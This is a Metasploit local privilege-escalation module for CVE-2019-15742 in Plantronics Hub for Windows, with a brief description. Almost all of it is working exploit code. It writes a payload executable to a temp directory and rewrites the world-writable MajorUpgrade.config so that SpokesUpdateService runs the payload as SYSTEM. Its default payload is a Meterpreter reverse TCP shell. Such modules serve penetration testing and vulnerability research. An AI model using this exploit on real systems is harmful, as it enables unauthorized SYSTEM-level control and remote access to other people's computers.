The Plantronics Hub client application for Windows makes use of an automatic update service SpokesUpdateService.exe which automatically executes a file specified in the MajorUpgrade.config configuration file as SYSTEM. The configuration file is writable by all users by default. This module has been tested successfully on Plantronics Hub version 3.13.2 on Windows 7 SP1 (x64). This Metasploit module has been tested successfully on Plantronics Hub version 3.13.2 on Windows 7 SP1 (x64).
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::Services
include Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation',
'Description' => %q{
The Plantronics Hub client application for Windows makes use of an
automatic update service `SpokesUpdateService.exe` which automatically
executes a file specified in the `MajorUpgrade.config` configuration
file as SYSTEM. The configuration file is writable by all users by default.
This module has been tested successfully on Plantronics Hub version 3.13.2
on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Markus Krell', # Discovery and PoC
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-15742'],
['EDB', '47845'],
['URL', 'https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf']
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2019-08-30',
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_advanced_options [
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)', nil]),
]
end
def base_dir
datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
end
def service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning 'Unable to enumerate Windows services'
return false
end
if srv_info && srv_info[:display].empty?
return false
end
true
end
def check
service = 'PlantronicsUpdateService'
unless service_exists? service
return CheckCode::Safe("Service '#{service}' does not exist")
end
path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G"
unless exists? path
return CheckCode::Safe("Directory '#{path}' does not exist")
end
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_system?
fail_with Failure::BadConfig, 'Session already has SYSTEM privileges'
end
payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
payload_exe = generate_payload_exe
vprint_status "Writing payload to #{payload_path} ..."
write_file payload_path, payload_exe
register_file_for_cleanup payload_path
config_path = "#{session.sys.config.getenv('PROGRAMDATA')}\\Plantronics\\Spokes3G\\MajorUpgrade.config"
vprint_status "Writing configuration file to #{config_path} ..."
write_file config_path, "#{session.sys.config.getenv('USERNAME')}|advertise|#{payload_path}"
register_file_for_cleanup config_path
end
end